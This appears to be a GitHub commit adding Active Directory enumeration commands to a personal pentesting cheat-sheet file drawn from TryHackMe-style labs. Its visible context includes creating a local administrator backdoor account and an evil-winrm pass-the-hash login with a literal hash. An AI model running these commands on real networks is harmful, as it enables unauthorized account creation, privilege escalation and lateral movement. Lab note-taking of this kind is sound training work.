Skip to content

Commit

Permalink
add net user commands
Browse files Browse the repository at this point in the history
  • Loading branch information
leetcore committed Jul 28, 2023
1 parent 47302af commit c74b537
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions 1337_file.txt
Original file line number Diff line number Diff line change
Expand Up @@ -125,6 +125,19 @@ Invoke-ShareFinder -CheckShareAccess
net user NewUser MyPassword123! /add
net localgroup Administrators /add NewUser

When we provide the hostname, network authentication will attempt first to perform
Kerberos authentication. Since Kerberos authentication uses hostnames embedded in the
tickets, if we provide the IP instead, we can force the authentication type to be NTLM.

net user /domain
net user zoe.marshall /domain
net group /domain
net group "Tier 1 Admins" /domain

net accounts /domain

Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com

# EVIL WinRM
Pass the hash (bash):
evil-winrm -i spookysec.local -u administrator -H 0e0363213e37b94221497260b0bcb4fc
Expand Down

0 comments on commit c74b537

Please sign in to comment.